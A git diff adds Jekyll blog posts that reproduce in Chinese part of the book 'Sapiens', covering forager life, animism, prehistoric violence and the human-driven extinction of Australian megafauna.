+采集者之所以能够免受饥饿或营养不良的困扰，秘诀就在于多样化的饮食。相较之下，之后农民的饮食往往种类极少，而且不均衡。特别是在近代，许多农业人口都依靠单一作物为主要热量来源，可能是小麦、马铃薯、稻米之类，这样一来就会缺少人体所必需的其他维生素、矿物质或营养。例如在中国偏远乡间的传统典型农夫，早上吃饭、中午吃饭，晚上吃的还是饭。而且还得够幸运，第二天才能吃到这些一样的东西。相较之下，远古的采集者通常都会吃到数十种不同的食物。他们可能早餐吃浆果和蘑菇；中餐吃水果、蜗牛和乌龟；晚餐则是来份野兔排佐野生洋葱。至于第二天，菜单又可能完全不同。正是这样的多样性，能确保远古的采集者吸收到所有必需的营养成分。 +此外，也因为采集者不依赖单一种类的食物，就算某种食物来源断绝了，影响也不会太大。但如果是农业社会，一旦来场干旱、火灾、地震，把当年的稻子或马铃薯摧毁殆尽，就会引发严重的饥荒。虽然采集社会还是难以幸免于自然灾害，而且也会碰上食物短缺或饥荒的情形，但通常他们处理起来就是比较游刃有余。如果主要食物短缺，他们可以去采集或狩猎其他食物，又或是直接迁移到受影响较小的地区。 +此外，远古采集者也比较少碰到传染病的问题。农业和工业社会的传染病（像是天花、麻疹和肺结核）多半是来自家禽家畜，但这要到农业革命之后才传到人类身上。对于远古的采集者来说，狗是唯一会近距离相处的动物，所以也就没有这些问题。此外，农业和工业社会的永久居住环境通常非常紧密，但卫生条件又不佳，正是疾病的理想温床。至于采集者，他们总是一小群一小群在广阔的大地上漫游，疾病很难流行起来。 +* * * +正因为这些在农业时代前的采集者有健康和多样化的饮食、相对较短的工作时间，也少有传染病的发生，许多专家将这种社会定义为“最初的富裕社会”。只不过，倒也不用把这些古人的生活想得太过理想浪漫。虽然他们的生活可能比起农业和工业社会更佳，不过当时的世界仍然同样残酷无情，常常存在物资匮乏、时节难过、儿童死亡率高的问题，现在看来没什么的小意外，当时可能就能轻易致命。这些漫游采集者的部落里人人关系亲密，对大多数人来说可能是好事，但对那些少数惹人厌的成员来说，日子可就不好过了。偶尔，如果有人年老力衰或是有肢体残疾，无法跟上部落的脚步，还会遭到遗弃甚至杀害。如果婴儿和儿童被视为多余，他们就可能被杀，而且宗教献祭也偶有听闻。 +在巴拉圭的丛林里，曾有一个狩猎采集部落亚契人（Ache）存活到20世纪60年代，他们让我们得以一窥采集生活的黑暗面。根据亚契人的习俗，如果某位有价值的部落成员死亡，就要杀一个小女孩陪葬。人类学家访问亚契人，得知某一次有个中年男子病倒了，无法跟上其他人的脚步，于是他就被抛弃在路旁的树下。当时树上还有秃鹰等着想饱餐一顿。但那位男子鼓起精神、霍然痊愈，用轻快的脚步重新回到部落行列。他的身上还盖着鸟屎，结果绰号也从此变成“秃鹰屎”。 +如果某个亚契女性已经年纪太大、成了部落的负担，部落里的年轻男子就会潜伏在她身后，找机会一斧头砍进她的脑子里。曾有一个亚契人，告诉人类学家他在丛林里的黄金年代：“我常常杀老女人，我杀过我的阿姨、婶婶、姑姑她们……女人都怕我……但现在跟这些白人在一起，我也变弱了。”如果新生儿没有头发，会被认为发育不良，必须被立刻杀死。就有一位妇女回忆说，她的第一个女儿就是被活活打死，原因只是部落里的男人已经不想再多个女孩了。而另一次，有个男人杀了个小男婴，原因只是他“心情不好，小孩又哭个不停”。甚至有个小孩被活埋，原因是“那玩意儿看起来怪怪的，其他小孩也会笑它”。13 +然而，可别太快就对亚契人下定论。人类学家与他们同居共处多年之后，认定在亚契成年人之间的暴力其实非常罕见。无论男女，都可以自由改变伴侣。他们总是乐天且愉快，部落里不分地位高低，想颐指气使的人通常就会被排挤。虽然他们拥有的物质不多，但却非常慷慨，而且不会执着于成功和财富。在他们的生活里，最被看重的就是良好的人际互动，还有真正的友谊。14虽然他们会杀害儿童、病人、老人，但他们的想法其实和今日许多人赞成堕胎和安乐死也没有两样。另外还该提的一点，是巴拉圭的农夫猎杀亚契人的时候，可是毫不手软。所以，或许正因为亚契人必须迅速逃离这些敌人的魔爪，如果有成员可能造成部落的负担，他们也就无法仁义以待。 +事实是，亚契社会就像任何一个人类社会一样复杂难解。我们要小心不能只有了肤浅的认识，就断然将其妖魔化或理想化。亚契人既不是天使，也不是魔鬼，不过就是人类。同样，远古的狩猎采集者，就是和我们一样的人。 +会说话的鬼 +对于远古狩猎采集者的精神和心理生活，我们知道些什么？基于某些可量化的客观因素，我们或许可以重建一些采购经济的基本架构。例如，我们可以计算每人为了生活一天需要多少卡路里，一公斤的核桃可以提供多少卡路里，而一平方公里的森林又能提供多少核桃。有了这些数据，我们就能够猜测核桃在他们饮食中的相对重要性。 +只不过，他们究竟是把核桃当作珍馐佳肴还是无趣的主食？他们相不相信，核桃树有树灵？他们觉不觉得核桃树叶很漂亮？如果当时有对男女想约会，核桃树的树荫下究竟算不算浪漫？讲到思想、信仰和感情，想一探究竟的难度绝对非同小可。 +多数学者都同意，远古的采集者普遍信奉泛神论的信仰（animism，源自拉丁文的“anima”，意义“灵魂”或“精神”）。泛神论相信，几乎任何一个地点、任何一只动物、任何一株植物、任何一种自然现象，都有其意识和情感，并且能与人类直接沟通。因此，对泛神论者来说，山上的一颗大石头也可能会有欲望和需求。人类可能做了某些事就会触怒这块大石，但也有可能做某些事能取悦它。这块大石可能会惩罚人类，或要求奉献。至于人类也能够安抚或威胁这块石头。还不仅是石头，不管是山脚下的橡树，山边的小溪，林间的喷泉，附近的小树丛，通往喷泉的小径，啜饮着泉水的田鼠、狼和乌鸦，也都有着灵的存在。对泛神论者来说，还不只实体的物品或生物有灵，甚至连非物质也有灵，像是死者的鬼魂以及各种友善和邪恶的灵，也就像是我们所说的恶魔、精灵和天使。 +泛神论者认为，人类和其他的灵之间并没有障碍，可以直接通过言语、歌曲、舞蹈和仪式来沟通。所以猎人可以向一群鹿喊话，要求其中一头牺牲自己。狩猎成功的时候，猎人可能会请不幸丧生的动物原谅他。有人生病的时候，萨满巫师可以呼告造成疾病的灵，试着劝它或恐吓它离开。有需要的时候，萨满巫师还能请求其他灵的帮助。泛神论的一个特点，在于所有的灵都位于当场当地，不是什么万能的神，而是某只特定的鹿、某棵特定的树、某条特定的小溪、某个特定的鬼魂。 +此外，就像人类和其他灵之间没有障碍一样，人类和其他灵之间也没有地位高下之别。非人类的灵之所以存在，不只是要为人提供协助，它们也不是什么把全世界操之在手的万能的神。这个世界不是为了人或是任何其他特定的灵而旋转。 +泛神论并不是某个特定的宗教，而是数千种不同宗教、邪教或信仰的通称。它们之所以都称为“泛神论”，是因为这些宗教对于世界的看法、对于人类的定位所见略同。而我们说远古的采集者应该属于泛神论者，就好像说在前现代的农民是有神论者一样。有神论（theism，源自希腊文的“theos”，意为“神”）认为，宇宙的秩序在于人类和一小群超凡的实体（神）之间的地位关系。虽然说“前现代农民往往是有神论者”这件事千真万确，但光是这样讲还不够清楚。一般典型的“有神论”山包海容，有18世纪波兰的犹太教拉比，17世纪马萨诸塞州要焚烧女巫的清教徒，15世纪墨西哥阿兹特克的祭司，12世纪伊朗的苏菲神秘教派，10世纪的印度教战士，2世纪琐罗亚斯德教的商人，或是种种中国民间信仰。所有这些教派，都认为别人的信仰和仪式是怪异的异端。而泛神论的种种信仰和仪式，彼此之间的差异可能也不亚于此。人们的宗教经验很可能也是动荡不安，充满争议、改革和革命。 +我们小心归纳出这些通则，但大致上也只能做到这个程度了。想再深入描述远古时代的精神灵性，都会沦为假设猜测，因为我们几乎没有证据能够佐证；即使是那极少数的文物和洞穴绘画，也能有各种不同的诠释方式。有些学者声称自己能够知道采集者当时的感受，但从他们的理论中能够了解的，与其说是石器时代的宗教观，还不如说是他们的偏见。 +图7 拉斯科洞穴（Lascaux Cave）大约15000~20000年前的一幅壁画。我们究竟看到了什么？这幅画的意义又是什么？有些人认为画中是一个鸟头人身的男子，阳具勃起，正遭到野牛杀害。在男人下方是另一只鸟，可能象征着灵魂，在人死亡的那一瞬间由身体得到释放。如果真是如此，这幅画叙述的就不只是个普通的狩猎意外，而是前往来世的过程。但我们无法判断这些猜测究竟是否正确。这就像是个罗夏克墨渍测验（Rorschach Test），主要能看出的是现代学者的偏见，而不是远古采集者的信仰。 +图8 狩猎采集者在大约9000年前，在阿根廷的“手洞”（Hands Cave）留下了这些手印。看起来，这些主人逝去已久的手印似乎正从岩石里向我们伸来。这可能是远古采集者留下最感动人心的遗迹之一，但我们没人知道这究竟想传达什么意义。 +面对各种墓穴文物、壁画、骨头雕像，与其猜测出如山的种种理论，还不如坦然承认，我们对于远古采集者的宗教就只有一些模糊不清的概念罢了。我们假设他们是泛神论者，但这能告诉我们的并不多。我们不知道他们向什么神灵祈祷，庆祝什么节日，也不知道他们遵守什么戒律。最重要的是，我们不知道他们说了什么故事。这是我们想了解人类历史的一大空缺遗憾。 +* * * +对于采集者的社会政治世界，我们的所知同样几近于零。如上所述，学者甚至连最基本的面向都还无法达成共识，像是私有财产、核心家庭、一夫一妻制等等是否存在。很有可能各个部落各有不同结构，有些阶级井然，有些弹性较大。有的部落可能会像加利福尼亚的软件公司，致力于创新，却秩序混乱；有的部落的组织结构像纽约的法律公司，高效、有弹性。 +在苏联的松希尔（Sunghir），考古学家在1955年发现了一个3万年前的墓地遗址，属于一个狩猎长毛象的文化。在其中一个墓穴，他们发现一名年约50岁的男性骨架，盖着长毛象象牙珠串，总共约有3000颗。死者戴着以狐狸牙齿装饰的帽子，手腕上还有25只象牙手镯。其他同个墓地的墓穴里，陪葬物品数量都远远不及该墓穴。学者推断，松希尔长毛象猎人社群应该阶级十分明显，而该名死者也许是部落的首领，甚至是几个部落共同的领导者。毕竟，光靠单一部落的几十位成员，不太可能制作出这么多的陪葬品。 +考古学家后来还发现了一个更有趣的墓穴，里面有两具头对头的骸骨。一个是大约12~13岁的男孩，另一个是大约9~10岁的女孩。男孩身上盖着5000颗象牙珠子，戴着狐狸牙齿装饰的帽子，皮带上也有250颗狐狸牙齿（这至少得用上60只狐狸的牙）。女孩身上则有5250颗象牙珠子。两个孩子身边满是各种小雕像和象牙制品。就算是熟练的工匠，大概也需要45分钟才能做出一颗象牙珠。换句话说，要为这两个孩子准备这超过1万颗的象牙珠，会需要大约7500小时的精密加工，就算是一位经验丰富的工匠，也得足足花上超过3年！ +要说这两个松希尔的孩童年纪轻轻就已经证明自己是充满威严的领导者或长毛象猎人，无疑是天方夜谭。所以，唯有从文化信仰的角度出发，才能解释为什么他们能得到这样的厚葬。第一种理论是他们沾了父母的光。也许他们是首领的子女，而他们的文化相信家族魅力，又或是有严格的继承顺位规定。至于第二种理论，则是这两个孩子在一出生的时候，就被认定为某些祖先灵魂转世降生。还有第三种理论，认为他们的葬礼反映的是他们的死法，而不是在世时的地位。有可能这是一个牺牲的仪式（可能作为首领安葬仪式的一部分），所以才会格外隆重盛大。15 +不管正确答案为何，这两具松希尔的孩童骨骸无疑证明，3万年前的智人已经发明了一些社会政治规范，不仅远超出我们DNA的设定，也超越了其他人类和动物物种的行为模式。 +和平还是战争？ +最后还有个棘手的问题，就是“战争”在采集者的社会扮演了什么角色。有些学者主张远古的狩猎采集社会应该是个和平的天堂，认为要到了农业革命之后，民众开始累积私有财产，才开始有战争和暴力。也有学者主张，早在远古的采集时代，就已经有各种残忍和暴力的事情。然而，由于我们靠的只有极少数的考古文物和对现代采集社会的人类学观察，这两派学说可以说都只是空中楼阁。 + +虽然现代人类学的观察十分耐人寻味，但却问题重重。现在的采集者主要住在北极或卡拉哈里沙漠这种偏远和荒凉的地区，当地人口密度非常低，需要和他人作战的概率微乎其微。此外，近几代的采集社会也越来越受到现代国家操控干扰，也避免了爆发大规模冲突的可能。欧洲学者只曾有两次机会，能够观察到采集社会形成较大、相对人口密度较高的情形：一次是19世纪在北美洲西北部，另一次则是在19世纪到20世纪初在澳大利亚。而不管是前一次的美洲印第安人或是后一次的澳大利亚原住民，都发生了频繁的武装冲突。然而，我们仍然无法确定这究竟代表无论古今未来都会如此，又或只是受了欧洲帝国主义的影响。 +目前的考古发现不仅数量少，而且模糊不明。就算在几万年前曾经发生战争，现在究竟还会留下什么线索？当时没有防御工事、没有城墙、没有炮弹，甚至也没有剑或盾牌。虽然古老的矛头可能用于战争，但也可能只是用于狩猎。即使能找到人骨化石，也帮不上多大的忙。发现有骨折，可能代表战争中受的伤害，但也有可能只是意外。而且就算没有骨折，也无法确定某位远古人士绝非死于非命。毕竟，光是伤到软组织也足以致命，但不会在骨头上留下任何痕迹。更重要的是，在工业时代之前，战乱中有90%以上的死者其实是饿死、冻死、病死，而不是直接被武器攻击而死。想象一下，如果在3万年前有一个部落遭到邻近部落击败，10名成员战死，而剩下的人则被赶出平常采集维生的领地。在接下来的一年里，被赶走的成员又有100名死于饥饿、寒冷和疾病。这么一来，等到考古学家发现这110具遗骨，很容易就会误以为他们是死于自然灾害。但我们又要怎么知道他们是死于无情的战争呢？ +有了这种心理准备之后，我们可以开始检视手上有的考古证据。曾有三项研究，同样关于在农业革命前夕丧命的400具遗骨。第一项研究在葡萄牙，只发现两具明显死于暴力伤害。第二项在以色列，所有和人为暴力有关的证据更是只有某一具头骨上有一条裂痕，如此而已。但第三项研究的是多瑙河谷的多处遗址，在这400具遗骨中共有18具显示曾受到暴力伤害。18/400或许听起来并不多，但其实这个比例已经相当高了。假设这18人确实都死于暴力伤害，代表远古多瑙河谷约有4.5%的死亡率是由人为暴力所引起。而在现在，就算把战争和犯罪加在一起，全球因为人为暴力引起的死亡平均也只占1.5%。在20世纪，我们曾目睹最血腥的战争、规模最庞大的种族屠杀，但即使如此，这个世纪因为人为暴力而死亡的百分比也只有5%。所以，如果这个研究显示了典型的情形，远古多瑙河谷暴力肆虐的情形就和20世纪差堪比拟。[3] +多瑙河谷的发现已经十分令人难过，但偏偏还有一些来自其他地区的研究也得出了同样的结果而加以支持。在苏丹的捷贝尔撒哈巴（Jabl Sahaba）一地，曾发现一处12000年前的墓地，里面有59具遗骨。其中有24具的骨骸里或附近发现了箭镞和矛头，共占所有遗骨的40%。其中一具女性遗骨共有12处伤痕。而在德国巴伐利亚的欧夫内特洞穴（Ofnet Cave），考古学家也发现38具采集者的遗骨被丢进两个墓穴中，主要是妇女和孩童。这些遗骨有一半（包括儿童甚至婴儿）都明显有受到人类武器伤害的痕迹，包括棍棒和刀。至于少数成年男性的骨骸，则可发现受到最严重的暴力攻击。最有可能的，就是在欧夫内特洞穴曾有一整个采集部落遭到屠杀。 +那么，究竟哪个更能代表远古的采集社会？是以色列和葡萄牙那些看来生活和平的遗骨，还是苏丹和德国的那些人间炼狱？答案是两者皆非。我们已经看到，采集社会可能有许多不同的宗教和社会结构，可以预测他们也同样有不同的暴力倾向。可能在某些时期，某些地区一片平静祥和，但在其他地区却是动乱不断。16 +沉默的帷幕 +讲到远古的采集生活，如果我们连宏观景象都难以重建，想要重塑特定事件就更是难如登天。智人部落首次进入尼安德特人居住的山谷之后，接下来的几年间很可能就发生了许多轰轰烈烈的历史大事。但遗憾的是，这样的事件几乎不会留下任何痕迹，顶多就是极少数的骨骼化石和石器，而且不论学术界如何竭力追问，它们仍然只会保持沉默。从这些对象里，我们可以知道当时人类的身体结构、科技、饮食，甚至是社会结构，但却看不出他们是否与相邻的智人部落结成政治联盟，是否有先人的灵魂保佑着这个部落，是否会偷偷将象牙珠送给当地的巫医、祈求神灵庇佑。 +这幅沉默的帷幕就这样罩住了几万年的历史。在这些年间，可能有战争和革命，有灵性激昂的宗教运动，有深刻的哲学理论，有无与伦比的艺术杰作。采集者之中可能也出过像成吉思汗这种所向披靡的人物，不过统治的帝国还没有新加坡的面积大；或许也出过天才贝多芬，虽然没有交响乐团，却能用竹笛令人潸然泪下；又或是出了像穆罕默德一样的先知，不过传达的是当地某棵栎树的话，而不是什么全宇宙的造物主。不过，这些我们全部只能靠猜测。这幅沉默的帷幕如此厚重，我们连这些事情是否曾经发生都难以断定，遑论详细描述。 +学者常常只会问那些他们在合理范围中能够回答的问题。如果我们无法发展出新的研究工具，可能就永远无法了解远古采集者究竟有什么信仰，或是他们曾经经历过怎样的政治。然而，我们必然需要问一些目前还没有解答的问题，否则就等于对人类7万年历史中的6万年视而不见，只以为“当时的人没做什么重要的事”。 +但事实是，他们做了许多非常重要的事情。特别是他们还形塑了我们现在的世界，程度之大，出乎许多人意料。现在有探险家跋涉前往西伯利亚苔原、澳大利亚中部沙漠、亚马孙雨林，以为自己走进了一片从无人类踏足的原始环境。但这只是错觉。即使是最茂密的丛林、最荒凉的旷野，其实远古采集者都早已到过，而且让环境起了极大的变化。下一章就会提到，早在第一个农村形成之前，采集者是如何让地球的生态改头换面。整个动物界从古至今，最重要也最具破坏性的力量，就是这群四处游荡、讲着故事的智人。 +[2]　说到远古采集社会的“种种可能性”，讲的是对于任何一个社会来说，根据其生态、科技和文化限制，都有种种信仰、习俗和经验像是光谱一样在他们眼前展开。无论是社会或个人，面对着世界上的种种可能，通常都能探索到其中的一小部分而已。 +[3]　有人可能会说，就算远古多瑙河谷有些遗骨上有暴力痕迹，也不见得就是死因。有些人可能只是受伤而已。然而，因为也有些人可能是软组织受创或是因为战争带来的资源剥夺致死，而这些都不会出现在遗骨上，因此这两种情况或许能互相抵消。 diff --git a/_posts/2017-01-06-196-sapiens-cp04.md b/_posts/2017-01-06-196-sapiens-cp04.md new file mode 100644 index 0000000..7cd51c8 --- /dev/null +++ b/_posts/2017-01-06-196-sapiens-cp04.md @@ -0,0 +1,52 @@ +--- +layout: post +title: 第四章毁天灭地的人类洪水 +pid: 196 +tags: [人类简史：从动物到上帝] +--- +第四章 +毁天灭地的人类洪水 +在认知革命前，所有人类物种都只住在亚非大陆上。确实，他们也曾靠着游泳或是扎些简单的木筏，抵达少数的邻近岛屿。像是弗洛里斯岛，早在85万年前便已有人居住。但当时他们还没办法冒险前往远洋，没人到过美洲或澳大利亚，也没人到过像日本、中国台湾、马达加斯加、新西兰和夏威夷之类较远的岛屿。 +海洋所阻绝的不只是人类，还有许多亚非大陆上的动植物都到不了这个“外面的世界”。因此，在像澳大利亚和马达加斯加这些远方的大陆和岛屿上，该地的生物群独自演化了数百万年，于是无论外形和天性都和它们的亚非远亲相当不同。起初，地球可分为几个不同的生态系统，各由独特的动植物组成。但这种情形即将因为智人而画下句点。 +在认知革命之后，智人得到新的技术、组织能力甚至是眼界，能够走出亚非大陆，前往外面的世界。他们的第一项重大成就，就是在大约45000年前殖民澳大利亚。为解释这件事，专家学者煞费苦心。想到达澳大利亚，人类得跨过许多海峡，有些宽度超过100公里，而且抵达之后，他们还得几乎立刻适应当地的生态环境。 +最合理的理论认为，大约45000年前住在印度尼西亚群岛的智人发展出了第一个能够航海的人类社会（印度尼西亚群岛由亚洲大陆向外延伸，每个岛屿间只有狭窄的海峡相隔）。他们学会了如何建造及操纵能在海上航行的船只，开始前往远洋捕鱼、贸易、探险。这给人类的能力及生活形态带来了前所未有的变革。其他能够进到海里的哺乳类动物，都是经过长期演化发展出专门的器官和符合流体力学的身形，才能进到海里（像是海豹、海牛、海豚等等）。然而，印度尼西亚的智人祖先就是在非洲草原上的猿类，既没有长出鳍，也不用像鲸鱼一样等着鼻孔一代一代慢慢移到头顶去，而是做出船来，并学习如何操纵。正是这些技能让他们能够移居澳大利亚。 +确实，考古学家到现在还没找到45000年前的筏、桨或是渔村（而且远古的印度尼西亚海岸线现在深深沉在100米的海面下，要寻找也十分困难）。但还是有些可靠的间接证据可以支持这种理论，其中之一就是在智人移居澳大利亚后的数千年间，智人还殖民到了澳大利亚北方许多独立的小岛上。其中像是布卡岛（Buka）和马努斯岛（Manus），距离最近的陆地也要两百公里远。如果没有先进的船只、高明的航海技术，很难相信有人能够前往马努斯岛殖民。正如前面提到的，我们也有证据证明当时像是在新爱尔兰岛和新不列颠岛之间有定期的海洋贸易。17新的航海技能并不只限于西南太平洋，大约在35000年前就有人类抵达日本，而在大约30000年前就有人抵达中国台湾。对这两者而言，殖民者都得越过广阔的海洋，而这在先前的几十万年间都还是不可能的任务。 +在历史上，人类首次抵达澳大利亚绝对算是大事一件，重要性不亚于哥伦布抵达美洲或是阿波罗11号登上月球。这是人类第一次成功离开亚非大陆生态系统，也是第一次有大型陆生哺乳动物能够从亚非大陆抵达澳大利亚。更重要的是，这些人类先驱究竟在这片新世界做了什么。狩猎采集者首次登上澳大利亚海滩的那一刻，就正式在这片大陆登上食物链顶端，也从此成为地球史上最致命的生物物种。 +在这之前，虽然人类有些创新的调整和作为，但他们对环境还没什么太大的影响。虽然他们能够迁移到各种不同地点，而且成功适应当地环境，但并不会大幅改变新的栖地环境。而这些前往澳大利亚的移居者（其实是征服者）所做的不只是适应当地环境，而是让整个澳大利亚生态系统起了天翻地覆的变化。 +人类首次登上澳大利亚沙滩，足迹随即被海浪冲走。但等到这些入侵者进到内陆，他们留下了另一种足迹，而且再也洗刷不去。他们推进的时候，仿佛进到奇特的新世界，满眼是从未见过的生物。有200公斤重、2米高的袋鼠，还有当时澳大利亚最大型的掠食者袋狮（marsupial lion），体形就像现代的老虎一样大。树上有当时大到不太可爱的无尾熊；平原上则有不会飞的鸟在奔驰，体形足足是鸵鸟的两倍；至于在灌木丛里，则有像恶龙般的蜥蜴和蛇，发出咝咝声地滑行。森林里则有巨大的双门齿兽（Diprotodon）在游荡，外形就像袋熊，不过体重足足有两吨半。除了鸟类和爬行动物之外，澳大利亚当时所有的动物都是像袋鼠一样的有袋动物，会先生下幼小、无助、就像胚胎一样的年轻后代，再在腹部的育儿袋中哺乳照顾。有袋哺乳动物在非洲和亚洲几乎无人知晓，但它们在澳大利亚可是最高的统治阶级。 +但不过几千年后，所有这些巨大的动物都已消失殆尽。在澳大利亚当时24种体重在50公斤以上的动物中，有23种都惨遭灭绝，18许多比较小的物种也从此消失。整个澳大利亚的生态系统食物链重新洗牌，这也是澳大利亚生态系统数百万年来最重大的一次转型。智人是不是罪魁祸首？ +罪名成立 +有些学者试着为人类脱罪，把这些物种灭绝的责任推给气候变迁（常常都是靠它来顶罪）。但要说智人完全无辜实在令人难以置信。澳大利亚巨型动物灭绝，有三大证据显示气候很难成为借口，而人类难辞其咎。 +第一点，虽然澳大利亚气候确实在45000年前有一场改变，但规模幅度并不大。光是这样小小的气候变迁，我们实在很难相信能造成如此大规模的灭绝。我们现在常常把很多事情都推给气候，但事实是地球的气候从来不会静止，而是每分每刻不断变化，史上不管哪个事件，都多少会碰上一些气候变迁的情形。 +特别是地球早就有过许多次的冷却和暖化循环。在过去百万年间，平均每10万年就有一次冰河期，上一次冰河期大约是75000年前到15000年前，而且并不特别严重，两次高峰分别在大约70000年前和20000年前。然而，澳大利亚巨大的双门齿兽早在150多万年前便已出现，活过了至少10次的冰河期，甚至连7万年前的那次冰河期高峰也安然无恙。但为什么到了45000年前就突然灭种？当然，如果双门齿兽是当时唯一灭绝的大型动物，可能就纯粹是运气问题。然而，当时除了双门齿兽之外，全澳大利亚超过90%的巨型动物都从历史上消失。虽然我们只有间接证据，但要说这么凑巧，智人就这样在所有巨型动物都死于严寒的时候来到澳大利亚，实在很难令人信服。19 +第二点，如果是气候变迁导致物种大灭绝，海洋生物受到的冲击通常不亚于陆地生物。然而，我们找不到任何证据显示在45000年前海洋生物有显著的灭绝情形。但如果是因为人类的影响，就很容易解释为何这波灭种潮只席卷了澳大利亚陆地，而放过了附近的海洋。虽然人类的航海技术已经大幅提升，但人类毕竟主要还是生活在陆地上。 +第三点，类似澳大利亚这种生物大灭绝的事情，在接下来的几千年还不断上演，而时间点都是在人类又再次移居外面世界的时候。这些情况，都证明智人罪证确凿。以新西兰的巨型动物为例，它们经历大约45000年前的那场气候变迁，几乎丝毫未受影响，但等到人类一踏上新西兰，就遭到毁灭性的打击。大约在800年前，新西兰的第一批智人殖民者毛利人踏上这片土地。不过几个世纪，当地大多数巨型动物以及六成的鸟类物种都惨遭绝种的命运。 +在北冰洋的弗兰格尔岛（Wrangel Island，位于西伯利亚海岸以北200公里），当地的长毛象也遭到同样的噩运。曾有几百万年的时间，长毛象的足迹踏遍几乎整个北半球，但随着智人从亚非大陆扩张到北美，它们的栖地就不断缩小。到了大约1万年前，全世界几乎已经再也没有长毛象，最后的栖地只剩下几个偏远的北极岛屿，其中以弗兰格尔岛最为蓬勃。长毛象在弗兰格尔岛又存活了数千年之久，直到大约4000年前突然灭绝。时间正值人类第一次抵达。 +如果澳大利亚的物种灭绝只是单一事件，对于人类的无辜或许我们还能姑且信之。但翻开历史记录，智人看起来就是个生态的连环杀手。 +* * * +最初移居澳大利亚的人手头上只有石器时代的技术，他们究竟是怎么搞出这场生态浩劫的？以下有三种解释，相映成趣。 +第一种解释，在于大型动物（也就是澳大利亚物种灭绝的主要受害者）繁殖十分缓慢。不仅怀孕期很长、每次怀胎数少，而且两次怀孕之间相隔也久。因此，就算人类每几个月才猎杀一只双门齿兽，也可能让双门齿兽的死亡数高过出生数。于是不到几千年，就会看到最后一只双门齿兽孤单地死去，整个物种也就此灭绝。20 +而且，虽然双门齿兽身形巨大，但要猎杀并非难事，原因就在于它们对于人类的袭击根本来不及防卫。各种人类物种在亚非大陆上潜伏演化了两百万年，不断磨炼狩猎技能，而且从大约40万年前便开始猎捕大型动物。在亚非大陆上的巨兽都已得到教训，懂得保持距离。所以等到最新一代的最高掠食者——智人出现在亚非大陆的时候，大型动物都已经懂得要避开长相类似的生物。相较之下，澳大利亚的巨型动物可以说完全没有时间学会该赶快逃跑。毕竟人类看起来似乎不太危险，既没有又长又锋利的牙齿，也没有特别结实或敏捷的身体。而双门齿兽可是史上体形最大的有袋动物，所以它第一次看到这只长相弱不禁风的猿类，大概只会瞟上一眼，就继续回去嚼树叶了。对这些动物来说，需要靠演化才能学会惧怕人类，但时间根本不够，它们转眼便已灭绝。 +第二种解释，认为智人抵达澳大利亚的时候已经掌握了火耕技术。于是，面对这样一个陌生而危险的环境，他们会刻意烧毁难以跨越的茂密灌木丛和森林，将地貌变为开阔的草原，以吸引更容易猎捕的猎物，适合人类的需求。于是，他们在短短几千年内就彻底改变了澳大利亚大部分地区的生态环境。 +这种说法有植物化石记录作为佐证。在45000年前，桉属植物在澳大利亚只是少数。但等到智人来到，就开创了桉属植物的黄金时代。因为桉属植物特别耐火，所以在其他树种烧得灰飞烟灭之后，就剩下它独霸天下。 +这些植被变化之后，就会影响草食性动物，进而影响肉食性动物。例如以桉属尤加利叶为生的无尾熊，就随着桉属植物领域扩张，开心地边嚼边进到新的领地。但大多数其他动物可就大受打击。澳大利亚有许多食物链就此崩溃，其中比较脆弱的环节也因而灭绝。21 +第三种解释，虽然也同意狩猎和火耕有显著影响，但强调还是不能忽视气候因素。大约在45000年前袭击澳大利亚的气候变迁让整个生态系统失衡，变得特别脆弱。但毕竟这早有先例，所以在正常情况下，系统应该还能慢慢适应恢复。但人类就是出现在这节骨眼儿上，于是将这个已经脆弱的生态系统推进了无底深渊。而对于大型动物来说，气候变迁加上人类狩猎可以说如同四面楚歌，令它们难以抵挡。一下面对如此多重的威胁，很难找出真正良好的生存之道。 +如果没有进一步的证据，我们很难说究竟这三种解释哪个更有道理。但就是有充分的好理由让我们相信，如果智人没去到澳大利亚，现在我们就还能看到袋狮、双门齿兽还有巨型袋鼠在这片大陆上悠游自在。 +地懒的绝灭 +澳大利亚巨型动物群的灭绝，可能正是智人留在地球上的第一个明显标志。而之后在美洲又有一场更大的生态灾难。在所有人类物种里，只有智人踏上了西半球的土地，时间大概是在16000年前，也就是大约公元前14000年。智人最早是步行抵达美洲，因为当时海平面较低，从西伯利亚东北还有陆地与阿拉斯加的西北相连。但这段路也没听起来这么简单，一路艰难重重，并不比跨海抵达澳大利亚来得容易。在这一路上，首先得学会如何抵御西伯利亚北部的酷寒，这里的冬季是永夜，温度可以降到–50℃。 +在这之前，从来没有人类物种能够通过西伯利亚北部这种地方。即使是能够抗寒的尼安德特人，也还是待在南边比较温暖的地区。但对智人来说，虽然他们的身体习惯的是非洲的大草原，而不是冰雪世界的极地，但他们却能想出巧妙的解决办法。智人的采集部落四处迁徙，来到较冷的地区就学会了做雪鞋，也学会用针把兽皮和兽毛层层缝紧，成为保暖衣物。他们发明了新型武器和高明的狩猎技巧，让他们能够追踪、猎杀在遥远北方的长毛象和其他大型动物。由于有了保暖衣物，狩猎技巧也有改进，智人就越来越勇于冒险，深入冰冻的区域。随着他们逐渐北迁，衣物、狩猎策略和其他生存技能也不断提升。 +但他们究竟为什么要这么麻烦，自愿把自己放逐到西伯利亚？对某些部落来说，或许是因为战争、人口压力或自然灾害，迫使他们北移。但向北走也不是全无好处，能取得动物蛋白便是其一。北极的土地到处都是大型而肥美的动物，如驯鹿和长毛象。每只长毛象都能提供大量的鲜肉（而且因为当地温度低，甚至可以将鲜肉冰冻留待日后食用）、美味的脂肪、温暖的毛皮，还有宝贵的象牙。对于松希尔的调查结果发现，长毛象猎人可不是在极地苟延残喘，而是过得意气风发、舒适惬意。随着时间过去，这些部落开枝散叶、不断扩张，继续追逐着长毛象、乳齿象、犀牛和驯鹿。大约在公元前14000年，有些部落就这样从西伯利亚东北来到了阿拉斯加。当然，他们并不知道自己发现了一片新世界。不论对于长毛象或对人类来说，阿拉斯加不过就是西伯利亚的自然延伸罢了。 + 